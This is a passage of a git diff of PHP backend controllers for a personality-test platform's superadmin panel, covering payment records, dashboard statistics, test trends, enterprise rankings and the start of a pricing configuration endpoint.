{ + return error('无权限访问', 403); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + + $query = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->whereNotNull('enterpriseId') + ->where('enterpriseId', '<>', '') + ->order('payTime', 'desc'); + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize) + ->field('id, orderNo, enterpriseId, amount, payMethod, payTime') + ->select() + ->toArray(); + + $eids = array_values(array_unique(array_filter(array_column($list, 'enterpriseId')))); + $enterprises = []; + if (!empty($eids)) { + $entList = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); + $enterprises = $entList ?: []; + } + + $result = []; + foreach ($list as $r) { + $eid = $r['enterpriseId'] ?? null; + $result[] = [ + 'orderNo' => $r['orderNo'] ?? '', + 'enterprise' => $eid ? ($enterprises[$eid] ?? '企业#' . $eid) : '—', + 'amount' => (int) ($r['amount'] ?? 0), + 'method' => $r['payMethod'] === 'wechat' ? '微信支付' : ($r['payMethod'] ?? '—'), + 'date' => !empty($r['payTime']) ? date('Y-m-d H:i', $r['payTime']) : '—', + ]; + } + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取企业支付记录失败:' . $e->getMessage(), 500); + } + } + + /** + * 支付记录(全部已支付订单,分页),金额单位:分 + */ + public function paymentRecords() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + $keyword = trim(Request::param('keyword', '')); + + $query = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->order('payTime', 'desc'); + + if ($keyword !== '') { + $query->where(function ($q) use ($keyword) { + $q->whereLike('orderNo', '%' . $keyword . '%'); + if (is_numeric($keyword)) { + $q->whereOr('userId', (int) $keyword); + } + }); + } + + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize) + ->field('id, orderNo, userId, enterpriseId, productType, productTitle, amount, payMethod, payTime') + ->select() + ->toArray(); + + $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); + $eids = array_values(array_unique(array_filter(array_column($list, 'enterpriseId')))); + $usersMap = []; + $entMap = []; + if (!empty($userIds)) { + $users = Db::name('wechat_users')->where('id', 'in', $userIds)->field('id, nickname, phone')->select()->toArray(); + foreach ($users as $u) { + $usersMap[(int) $u['id']] = $u; + } + } + if (!empty($eids)) { + $entList = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); + $entMap = $entList ?: []; + } + + $productTypeLabel = [ + 'face' => 'AI人脸分析', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'report' => '完整报告', + 'deep_personal' => '个人深度服务', + 'deep_team' => '团队深度服务', + ]; + + $result = []; + foreach ($list as $r) { + $uid = (int) ($r['userId'] ?? 0); + $eid = isset($r['enterpriseId']) && $r['enterpriseId'] !== '' ? (int) $r['enterpriseId'] : null; + if ($eid === 0) { + $eid = null; + } + $u = $usersMap[$uid] ?? null; + $enterpriseName = $eid ? ($entMap[$eid] ?? '企业#' . $eid) : '个人'; + $result[] = [ + 'orderNo' => $r['orderNo'] ?? '', + 'userName' => $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid), + 'enterprise' => $enterpriseName, + 'enterpriseId' => $eid, + 'productType' => $productTypeLabel[$r['productType'] ?? ''] ?? ($r['productType'] ?? '—'), + 'productTitle' => $r['productTitle'] ?? '', + 'amount' => (int) ($r['amount'] ?? 0), + 'method' => $r['payMethod'] === 'wechat' ? '微信支付' : ($r['payMethod'] ?? '—'), + 'date' => !empty($r['payTime']) ? date('Y-m-d H:i', $r['payTime']) : '—', + ]; + } + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取支付记录失败:' . $e->getMessage(), 500); + } + } + + /** + * 导出财务报表 + */ + public function export() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + return success(null, '财务报表导出功能开发中'); + } +} diff --git a/api/app/controller/superadmin/Overview.php b/api/app/controller/superadmin/Overview.php index f724d63..e25abcb 100644 --- a/api/app/controller/superadmin/Overview.php +++ b/api/app/controller/superadmin/Overview.php @@ -1,431 +1,431 @@ -request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $currentMonthStart = mktime(0, 0, 0, (int) date('n'), 1, (int) date('Y')); - $currentMonthEnd = mktime(23, 59, 59, (int) date('n'), (int) date('t'), (int) date('Y')); - - // 企业统计 - $totalEnterprises = (int) Db::name('enterprises')->count(); - $newEnterprises = (int) Db::name('enterprises') - ->where('createdAt', '>=', $currentMonthStart) - ->where('createdAt', '<=', $currentMonthEnd) - ->count(); - - // 注册用户数(wechat_users 按 openid 去重,无 openid 则按行数) - try { - $totalRegisteredUsers = (int) Db::name('wechat_users')->count('openid', true); - } catch (\Throwable $e) { - $totalRegisteredUsers = (int) Db::name('wechat_users')->count(); - } - - // 有测试记录的用户数(按 wechat_users.openid 去重);本月新增 = 本月首次测试的 openid 数 - $totalUsers = 0; - $newUsers = 0; - try { - $totalUsers = (int) Db::name('test_results')->distinct(true)->count('userId'); - $newUsers = (int) Db::name('test_results') - ->where('createdAt', '>=', $currentMonthStart) - ->where('createdAt', '<=', $currentMonthEnd) - ->distinct(true) - ->count('userId'); - // 按 openid 去重:tr 关联 wechat_users,统计 distinct openid - $hasOpenid = false; - try { - $openids = Db::name('test_results')->alias('tr') - ->join('wechat_users w', 'tr.userId = w.id') - ->distinct(true) - ->column('w.openid'); - if (is_array($openids)) { - $openids = array_filter(array_unique($openids)); - $totalUsers = count($openids); - $hasOpenid = true; - } - } catch (\Throwable $e) { - } - if ($hasOpenid) { - $openidsBeforeMonth = Db::name('test_results')->alias('tr') - ->join('wechat_users w', 'tr.userId = w.id') - ->where('tr.createdAt', '<', $currentMonthStart) - ->distinct(true) - ->column('w.openid'); - $openidsBeforeMonth = is_array($openidsBeforeMonth) ? array_filter(array_unique($openidsBeforeMonth)) : []; - $openidsInMonth = Db::name('test_results')->alias('tr') - ->join('wechat_users w', 'tr.userId = w.id') - ->where('tr.createdAt', '>=', $currentMonthStart) - ->where('tr.createdAt', '<=', $currentMonthEnd) - ->distinct(true) - ->column('w.openid'); - $openidsInMonth = is_array($openidsInMonth) ? array_filter(array_unique($openidsInMonth)) : []; - $newUsers = count(array_diff($openidsInMonth, $openidsBeforeMonth)); - } - } catch (\Throwable $e) { - $newUsers = 0; - } - - // 收入与订单(仅 orders,金额分) - $totalRevenue = (int) (Db::name('orders')->whereIn('status', self::PAID_STATUS)->sum('amount') ?? 0); - $monthRevenue = (int) (Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->where('payTime', '>=', $currentMonthStart) - ->where('payTime', '<=', $currentMonthEnd) - ->sum('amount') ?? 0); - $paidOrderCount = (int) Db::name('orders')->whereIn('status', self::PAID_STATUS)->count(); - - $lastMonthStart = mktime(0, 0, 0, (int) date('n') - 1, 1, (int) date('Y')); - $lastMonthEnd = mktime(23, 59, 59, (int) date('n') - 1, (int) date('t', $lastMonthStart), (int) date('Y')); - $lastMonthRevenue = (int) (Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->where('payTime', '>=', $lastMonthStart) - ->where('payTime', '<=', $lastMonthEnd) - ->sum('amount') ?? 0); - $revenueGrowth = $lastMonthRevenue > 0 - ? round(($monthRevenue - $lastMonthRevenue) / $lastMonthRevenue * 100, 1) - : ($monthRevenue > 0 ? 100.0 : 0); - - // 测试统计 - $totalTests = 0; - $newTests = 0; - try { - $totalTests = (int) Db::name('test_results')->count(); - $newTests = (int) Db::name('test_results') - ->where('createdAt', '>=', $currentMonthStart) - ->where('createdAt', '<=', $currentMonthEnd) - ->count(); - } catch (\Throwable $e) { - } - - return success([ - 'totalEnterprises' => $totalEnterprises, - 'newEnterprises' => $newEnterprises, - 'totalRegisteredUsers' => $totalRegisteredUsers, - 'totalUsers' => $totalUsers, - 'newUsers' => $newUsers, - 'totalRevenue' => $totalRevenue, - 'monthRevenue' => $monthRevenue, - 'revenueGrowth' => $revenueGrowth, - 'paidOrderCount' => $paidOrderCount, - 'totalTests' => $totalTests, - 'newTests' => $newTests, - ]); - } catch (\Throwable $e) { - return error('获取数据概览失败:' . $e->getMessage(), 500); - } - } - - /** - * 最近动态:支付订单、新企业、今日测试等;金额接口为分,文案中转为元 - */ - public function recentDynamics() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $limit = min(20, max(5, (int) Request::param('limit', 10))); - $dynamics = []; - - // 1. 最近已支付订单(含个人与企业,金额分) - try { - $orders = Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->field('id, orderNo, userId, enterpriseId, productType, amount, payTime') - ->order('payTime', 'desc') - ->limit($limit) - ->select() - ->toArray(); - $orders = is_array($orders) ? $orders : []; - - $eids = array_values(array_unique(array_filter(array_column($orders, 'enterpriseId')))); - $uids = array_values(array_unique(array_filter(array_column($orders, 'userId')))); - $entMap = []; - $userMap = []; - if (!empty($eids)) { - $entMap = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id') ?: []; - } - if (!empty($uids)) { - $users = Db::name('wechat_users')->where('id', 'in', $uids)->field('id, nickname')->select()->toArray(); - foreach (is_array($users) ? $users : [] as $u) { - $userMap[(int) ($u['id'] ?? 0)] = $u['nickname'] ?? ('用户' . ($u['id'] ?? '')); - } - } - - $productLabel = ['face' => 'AI人脸', 'mbti' => 'MBTI', 'disc' => 'DISC', 'pdp' => 'PDP', 'report' => '报告']; - foreach ($orders as $o) { - $amountYuan = isset($o['amount']) ? round((int) $o['amount'] / 100, 2) : 0; - $who = '未知'; - if (!empty($o['enterpriseId']) && isset($entMap[$o['enterpriseId']])) { - $who = $entMap[$o['enterpriseId']]; - } else { - $who = $userMap[(int) ($o['userId'] ?? 0)] ?? ('用户' . ($o['userId'] ?? '')); - } - $product = $productLabel[$o['productType'] ?? ''] ?? ($o['productType'] ?? ''); - $dynamics[] = [ - 'type' => 'payment', - 'icon' => 'TrendCharts', - 'text' => $who . ' 支付 ¥' . number_format($amountYuan, 2) . ($product ? '(' . $product . ')' : ''), - 'time' => $this->formatTime($o['payTime'] ?? null), - 'sortTime' => (int) ($o['payTime'] ?? 0), - ]; - } - } catch (\Throwable $e) { - // 订单数据异常不影响其他动态 - } - - // 2. 最近入驻企业 - try { - $enterprises = Db::name('enterprises') - ->field('name, createdAt') - ->order('createdAt', 'desc') - ->limit(5) - ->select() - ->toArray(); - foreach (is_array($enterprises) ? $enterprises : [] as $e) { - $dynamics[] = [ - 'type' => 'enterprise', - 'icon' => 'Document', - 'text' => ($e['name'] ?? '') . ' 完成企业入驻', - 'time' => $this->formatTime($e['createdAt'] ?? null), - 'sortTime' => (int) ($e['createdAt'] ?? 0), - ]; - } - } catch (\Throwable $e) { - } - - // 3. 今日测试量(按企业/个人分组,文案里带企业名称) - try { - $todayStart = mktime(0, 0, 0, (int) date('n'), (int) date('j'), (int) date('Y')); - $rows = Db::name('test_results') - ->alias('tr') - ->leftJoin('enterprises e', 'tr.enterpriseId = e.id') - ->where('tr.createdAt', '>=', $todayStart) - ->field('tr.enterpriseId, e.name as enterpriseName, COUNT(*) as cnt') - ->group('tr.enterpriseId') - ->order('cnt', 'desc') - ->limit(5) - ->select() - ->toArray(); - - $totalToday = 0; - foreach (is_array($rows) ? $rows : [] as $row) { - $cnt = (int) ($row['cnt'] ?? 0); - if ($cnt <= 0) { - continue; - } - $totalToday += $cnt; - $eid = $row['enterpriseId'] ?? null; - $name = $row['enterpriseName'] ?? ''; - if ($eid && !$name) { - $name = '企业' . $eid; - } - if (!$eid) { - $name = $name ?: '个人用户(无企业)'; - } - $dynamics[] = [ - 'type' => 'test', - 'icon' => 'TrendCharts', - 'text' => $name . ' 今日完成 ' . $cnt . ' 次测试', - 'time' => '今日', - 'sortTime' => $todayStart + 1, - ]; - } - - // 追加一条全局汇总(放在企业之后) - if ($totalToday > 0) { - $dynamics[] = [ - 'type' => 'test-total', - 'icon' => 'TrendCharts', - 'text' => '全站今日共完成 ' . $totalToday . ' 次测试', - 'time' => '今日', - 'sortTime' => $todayStart, - ]; - } - } catch (\Throwable $e) { - } - - usort($dynamics, function ($a, $b) { - return ($b['sortTime'] ?? 0) - ($a['sortTime'] ?? 0); - }); - $dynamics = array_slice($dynamics, 0, $limit); - - return success($dynamics); - } catch (\Throwable $e) { - return error('获取最近动态失败:' . $e->getMessage(), 500); - } - } - - /** - * 最近 N 天测试趋势(按日期 & 测试类型统计) - * GET /superadmin/overview/test-trends?days=14 - */ - public function testTrends() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $days = (int) Request::param('days', 14); - $days = min(60, max(7, $days)); - - $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); - - $rows = Db::name('test_results') - ->where('createdAt', '>=', $startDate) - ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']) - ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") - ->group('d,testType') - ->order('d', 'asc') - ->select() - ->toArray(); - - $trendMap = []; - foreach (is_array($rows) ? $rows : [] as $row) { - $d = $row['d']; - $type = $row['testType']; - $cnt = (int) ($row['c'] ?? 0); - if (!isset($trendMap[$d])) { - $trendMap[$d] = [ - 'date' => $d, - 'face' => 0, - 'mbti' => 0, - 'disc' => 0, - 'pdp' => 0, - 'total' => 0, - ]; - } - if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { - $trendMap[$d][$type] += $cnt; - $trendMap[$d]['total'] += $cnt; - } - } - - $trendData = []; - for ($i = 0; $i < $days; $i++) { - $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); - if (isset($trendMap[$d])) { - $trendData[] = $trendMap[$d]; - } else { - $trendData[] = [ - 'date' => $d, - 'face' => 0, - 'mbti' => 0, - 'disc' => 0, - 'pdp' => 0, - 'total' => 0, - ]; - } - } - - return success($trendData); - } catch (\Throwable $e) { - return error('获取测试趋势失败:' . $e->getMessage(), 500); - } - } - - /** - * 企业活跃排行(按测试次数、支付金额);金额单位:分 - */ - public function enterpriseRanking() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $limit = min(20, max(5, (int) Request::param('limit', 10))); - $result = []; - - try { - // 企业表 left join 测试与订单,保证无测试/无订单的企业也出现(测试数、金额为 0) - $list = Db::name('enterprises') - ->alias('e') - ->leftJoin('test_results tr', 'tr.enterpriseId = e.id') - ->leftJoin('orders o', 'o.enterpriseId = e.id AND o.status IN (\'paid\',\'completed\')') - ->field('e.id, e.name, COUNT(DISTINCT tr.id) as testCount, COALESCE(SUM(o.amount), 0) as totalAmount') - ->group('e.id') - ->order('testCount', 'desc') - ->order('totalAmount', 'desc') - ->limit($limit) - ->select() - ->toArray(); - - foreach (is_array($list) ? $list : [] as $item) { - $result[] = [ - 'id' => (int) ($item['id'] ?? 0), - 'name' => $item['name'] ?? '', - 'tests' => (int) ($item['testCount'] ?? 0), - 'amount' => (int) ($item['totalAmount'] ?? 0), - ]; - } - } catch (\Throwable $e) { - // 若 join 报错(如表/字段不一致),降级为只查企业列表,测试与金额为 0 - $list = Db::name('enterprises')->field('id, name')->order('id', 'desc')->limit($limit)->select()->toArray(); - foreach (is_array($list) ? $list : [] as $item) { - $result[] = [ - 'id' => (int) ($item['id'] ?? 0), - 'name' => $item['name'] ?? '', - 'tests' => 0, - 'amount' => 0, - ]; - } - } - - return success($result); - } catch (\Throwable $e) { - return error('获取企业排行失败:' . $e->getMessage(), 500); - } - } - - private function formatTime($timestamp) - { - if ($timestamp === null || $timestamp === '') { - return ''; - } - $ts = is_numeric($timestamp) ? (int) $timestamp : strtotime($timestamp); - if ($ts <= 0) { - return ''; - } - $diff = time() - $ts; - if ($diff < 60) { - return '刚刚'; - } - if ($diff < 3600) { - return floor($diff / 60) . '分钟前'; - } - if ($diff < 86400) { - return floor($diff / 3600) . '小时前'; - } - if ($diff < 604800) { - return floor($diff / 86400) . '天前'; - } - return date('Y-m-d H:i', $ts); - } -} +request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $currentMonthStart = mktime(0, 0, 0, (int) date('n'), 1, (int) date('Y')); + $currentMonthEnd = mktime(23, 59, 59, (int) date('n'), (int) date('t'), (int) date('Y')); + + // 企业统计 + $totalEnterprises = (int) Db::name('enterprises')->count(); + $newEnterprises = (int) Db::name('enterprises') + ->where('createdAt', '>=', $currentMonthStart) + ->where('createdAt', '<=', $currentMonthEnd) + ->count(); + + // 注册用户数(wechat_users 按 openid 去重,无 openid 则按行数) + try { + $totalRegisteredUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalRegisteredUsers = (int) Db::name('wechat_users')->count(); + } + + // 有测试记录的用户数(按 wechat_users.openid 去重);本月新增 = 本月首次测试的 openid 数 + $totalUsers = 0; + $newUsers = 0; + try { + $totalUsers = (int) Db::name('test_results')->distinct(true)->count('userId'); + $newUsers = (int) Db::name('test_results') + ->where('createdAt', '>=', $currentMonthStart) + ->where('createdAt', '<=', $currentMonthEnd) + ->distinct(true) + ->count('userId'); + // 按 openid 去重:tr 关联 wechat_users,统计 distinct openid + $hasOpenid = false; + try { + $openids = Db::name('test_results')->alias('tr') + ->join('wechat_users w', 'tr.userId = w.id') + ->distinct(true) + ->column('w.openid'); + if (is_array($openids)) { + $openids = array_filter(array_unique($openids)); + $totalUsers = count($openids); + $hasOpenid = true; + } + } catch (\Throwable $e) { + } + if ($hasOpenid) { + $openidsBeforeMonth = Db::name('test_results')->alias('tr') + ->join('wechat_users w', 'tr.userId = w.id') + ->where('tr.createdAt', '<', $currentMonthStart) + ->distinct(true) + ->column('w.openid'); + $openidsBeforeMonth = is_array($openidsBeforeMonth) ? array_filter(array_unique($openidsBeforeMonth)) : []; + $openidsInMonth = Db::name('test_results')->alias('tr') + ->join('wechat_users w', 'tr.userId = w.id') + ->where('tr.createdAt', '>=', $currentMonthStart) + ->where('tr.createdAt', '<=', $currentMonthEnd) + ->distinct(true) + ->column('w.openid'); + $openidsInMonth = is_array($openidsInMonth) ? array_filter(array_unique($openidsInMonth)) : []; + $newUsers = count(array_diff($openidsInMonth, $openidsBeforeMonth)); + } + } catch (\Throwable $e) { + $newUsers = 0; + } + + // 收入与订单(仅 orders,金额分) + $totalRevenue = (int) (Db::name('orders')->whereIn('status', self::PAID_STATUS)->sum('amount') ?? 0); + $monthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $currentMonthStart) + ->where('payTime', '<=', $currentMonthEnd) + ->sum('amount') ?? 0); + $paidOrderCount = (int) Db::name('orders')->whereIn('status', self::PAID_STATUS)->count(); + + $lastMonthStart = mktime(0, 0, 0, (int) date('n') - 1, 1, (int) date('Y')); + $lastMonthEnd = mktime(23, 59, 59, (int) date('n') - 1, (int) date('t', $lastMonthStart), (int) date('Y')); + $lastMonthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $lastMonthStart) + ->where('payTime', '<=', $lastMonthEnd) + ->sum('amount') ?? 0); + $revenueGrowth = $lastMonthRevenue > 0 + ? round(($monthRevenue - $lastMonthRevenue) / $lastMonthRevenue * 100, 1) + : ($monthRevenue > 0 ? 100.0 : 0); + + // 测试统计 + $totalTests = 0; + $newTests = 0; + try { + $totalTests = (int) Db::name('test_results')->count(); + $newTests = (int) Db::name('test_results') + ->where('createdAt', '>=', $currentMonthStart) + ->where('createdAt', '<=', $currentMonthEnd) + ->count(); + } catch (\Throwable $e) { + } + + return success([ + 'totalEnterprises' => $totalEnterprises, + 'newEnterprises' => $newEnterprises, + 'totalRegisteredUsers' => $totalRegisteredUsers, + 'totalUsers' => $totalUsers, + 'newUsers' => $newUsers, + 'totalRevenue' => $totalRevenue, + 'monthRevenue' => $monthRevenue, + 'revenueGrowth' => $revenueGrowth, + 'paidOrderCount' => $paidOrderCount, + 'totalTests' => $totalTests, + 'newTests' => $newTests, + ]); + } catch (\Throwable $e) { + return error('获取数据概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 最近动态:支付订单、新企业、今日测试等;金额接口为分,文案中转为元 + */ + public function recentDynamics() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $limit = min(20, max(5, (int) Request::param('limit', 10))); + $dynamics = []; + + // 1. 最近已支付订单(含个人与企业,金额分) + try { + $orders = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->field('id, orderNo, userId, enterpriseId, productType, amount, payTime') + ->order('payTime', 'desc') + ->limit($limit) + ->select() + ->toArray(); + $orders = is_array($orders) ? $orders : []; + + $eids = array_values(array_unique(array_filter(array_column($orders, 'enterpriseId')))); + $uids = array_values(array_unique(array_filter(array_column($orders, 'userId')))); + $entMap = []; + $userMap = []; + if (!empty($eids)) { + $entMap = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id') ?: []; + } + if (!empty($uids)) { + $users = Db::name('wechat_users')->where('id', 'in', $uids)->field('id, nickname')->select()->toArray(); + foreach (is_array($users) ? $users : [] as $u) { + $userMap[(int) ($u['id'] ?? 0)] = $u['nickname'] ?? ('用户' . ($u['id'] ?? '')); + } + } + + $productLabel = ['face' => 'AI人脸', 'mbti' => 'MBTI', 'disc' => 'DISC', 'pdp' => 'PDP', 'report' => '报告']; + foreach ($orders as $o) { + $amountYuan = isset($o['amount']) ? round((int) $o['amount'] / 100, 2) : 0; + $who = '未知'; + if (!empty($o['enterpriseId']) && isset($entMap[$o['enterpriseId']])) { + $who = $entMap[$o['enterpriseId']]; + } else { + $who = $userMap[(int) ($o['userId'] ?? 0)] ?? ('用户' . ($o['userId'] ?? '')); + } + $product = $productLabel[$o['productType'] ?? ''] ?? ($o['productType'] ?? ''); + $dynamics[] = [ + 'type' => 'payment', + 'icon' => 'TrendCharts', + 'text' => $who . ' 支付 ¥' . number_format($amountYuan, 2) . ($product ? '(' . $product . ')' : ''), + 'time' => $this->formatTime($o['payTime'] ?? null), + 'sortTime' => (int) ($o['payTime'] ?? 0), + ]; + } + } catch (\Throwable $e) { + // 订单数据异常不影响其他动态 + } + + // 2. 最近入驻企业 + try { + $enterprises = Db::name('enterprises') + ->field('name, createdAt') + ->order('createdAt', 'desc') + ->limit(5) + ->select() + ->toArray(); + foreach (is_array($enterprises) ? $enterprises : [] as $e) { + $dynamics[] = [ + 'type' => 'enterprise', + 'icon' => 'Document', + 'text' => ($e['name'] ?? '') . ' 完成企业入驻', + 'time' => $this->formatTime($e['createdAt'] ?? null), + 'sortTime' => (int) ($e['createdAt'] ?? 0), + ]; + } + } catch (\Throwable $e) { + } + + // 3. 今日测试量(按企业/个人分组,文案里带企业名称) + try { + $todayStart = mktime(0, 0, 0, (int) date('n'), (int) date('j'), (int) date('Y')); + $rows = Db::name('test_results') + ->alias('tr') + ->leftJoin('enterprises e', 'tr.enterpriseId = e.id') + ->where('tr.createdAt', '>=', $todayStart) + ->field('tr.enterpriseId, e.name as enterpriseName, COUNT(*) as cnt') + ->group('tr.enterpriseId') + ->order('cnt', 'desc') + ->limit(5) + ->select() + ->toArray(); + + $totalToday = 0; + foreach (is_array($rows) ? $rows : [] as $row) { + $cnt = (int) ($row['cnt'] ?? 0); + if ($cnt <= 0) { + continue; + } + $totalToday += $cnt; + $eid = $row['enterpriseId'] ?? null; + $name = $row['enterpriseName'] ?? ''; + if ($eid && !$name) { + $name = '企业' . $eid; + } + if (!$eid) { + $name = $name ?: '个人用户(无企业)'; + } + $dynamics[] = [ + 'type' => 'test', + 'icon' => 'TrendCharts', + 'text' => $name . ' 今日完成 ' . $cnt . ' 次测试', + 'time' => '今日', + 'sortTime' => $todayStart + 1, + ]; + } + + // 追加一条全局汇总(放在企业之后) + if ($totalToday > 0) { + $dynamics[] = [ + 'type' => 'test-total', + 'icon' => 'TrendCharts', + 'text' => '全站今日共完成 ' . $totalToday . ' 次测试', + 'time' => '今日', + 'sortTime' => $todayStart, + ]; + } + } catch (\Throwable $e) { + } + + usort($dynamics, function ($a, $b) { + return ($b['sortTime'] ?? 0) - ($a['sortTime'] ?? 0); + }); + $dynamics = array_slice($dynamics, 0, $limit); + + return success($dynamics); + } catch (\Throwable $e) { + return error('获取最近动态失败:' . $e->getMessage(), 500); + } + } + + /** + * 最近 N 天测试趋势(按日期 & 测试类型统计) + * GET /superadmin/overview/test-trends?days=14 + */ + public function testTrends() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $days = (int) Request::param('days', 14); + $days = min(60, max(7, $days)); + + $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + + $rows = Db::name('test_results') + ->where('createdAt', '>=', $startDate) + ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']) + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") + ->group('d,testType') + ->order('d', 'asc') + ->select() + ->toArray(); + + $trendMap = []; + foreach (is_array($rows) ? $rows : [] as $row) { + $d = $row['d']; + $type = $row['testType']; + $cnt = (int) ($row['c'] ?? 0); + if (!isset($trendMap[$d])) { + $trendMap[$d] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { + $trendMap[$d][$type] += $cnt; + $trendMap[$d]['total'] += $cnt; + } + } + + $trendData = []; + for ($i = 0; $i < $days; $i++) { + $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + if (isset($trendMap[$d])) { + $trendData[] = $trendMap[$d]; + } else { + $trendData[] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + } + + return success($trendData); + } catch (\Throwable $e) { + return error('获取测试趋势失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业活跃排行(按测试次数、支付金额);金额单位:分 + */ + public function enterpriseRanking() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $limit = min(20, max(5, (int) Request::param('limit', 10))); + $result = []; + + try { + // 企业表 left join 测试与订单,保证无测试/无订单的企业也出现(测试数、金额为 0) + $list = Db::name('enterprises') + ->alias('e') + ->leftJoin('test_results tr', 'tr.enterpriseId = e.id') + ->leftJoin('orders o', 'o.enterpriseId = e.id AND o.status IN (\'paid\',\'completed\')') + ->field('e.id, e.name, COUNT(DISTINCT tr.id) as testCount, COALESCE(SUM(o.amount), 0) as totalAmount') + ->group('e.id') + ->order('testCount', 'desc') + ->order('totalAmount', 'desc') + ->limit($limit) + ->select() + ->toArray(); + + foreach (is_array($list) ? $list : [] as $item) { + $result[] = [ + 'id' => (int) ($item['id'] ?? 0), + 'name' => $item['name'] ?? '', + 'tests' => (int) ($item['testCount'] ?? 0), + 'amount' => (int) ($item['totalAmount'] ?? 0), + ]; + } + } catch (\Throwable $e) { + // 若 join 报错(如表/字段不一致),降级为只查企业列表,测试与金额为 0 + $list = Db::name('enterprises')->field('id, name')->order('id', 'desc')->limit($limit)->select()->toArray(); + foreach (is_array($list) ? $list : [] as $item) { + $result[] = [ + 'id' => (int) ($item['id'] ?? 0), + 'name' => $item['name'] ?? '', + 'tests' => 0, + 'amount' => 0, + ]; + } + } + + return success($result); + } catch (\Throwable $e) { + return error('获取企业排行失败:' . $e->getMessage(), 500); + } + } + + private function formatTime($timestamp) + { + if ($timestamp === null || $timestamp === '') { + return ''; + } + $ts = is_numeric($timestamp) ? (int) $timestamp : strtotime($timestamp); + if ($ts <= 0) { + return ''; + } + $diff = time() - $ts; + if ($diff < 60) { + return '刚刚'; + } + if ($diff < 3600) { + return floor($diff / 60) . '分钟前'; + } + if ($diff < 86400) { + return floor($diff / 3600) . '小时前'; + } + if ($diff < 604800) { + return floor($diff / 86400) . '天前'; + } + return date('Y-m-d H:i', $ts); + } +} diff --git a/api/app/controller/superadmin/Pricing.php b/api/app/controller/superadmin/Pricing.php index 3f9ab69..4e5191b 100644 --- a/api/app/controller/superadmin/Pricing.php +++ b/api/app/controller/superadmin/Pricing.php @@ -1,200 +1,200 @@ -request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $type = Request::param('type', ''); // personal/enterprise/deep - $enterpriseId = Request::param('enterpriseId', null); // 仅 type=enterprise 时有效,不传为全局 - - if ($type) { - $enterpriseId = $enterpriseId !== null && $enterpriseId !== '' ? (int) $enterpriseId : null; - $query = PricingConfigModel::where('type', $type); - if ($type === 'enterprise') { - $query->where(empty($enterpriseId) ? 'enterpriseId' : 'enterpriseId', empty($enterpriseId) ? 'null' : '=', empty($enterpriseId) ? null : $enterpriseId); - if (empty($enterpriseId)) { - $query->whereNull('enterpriseId'); - } else { - $query->where('enterpriseId', $enterpriseId); - } - } else { - $query->whereNull('enterpriseId'); - } - $config = $query->find(); - if 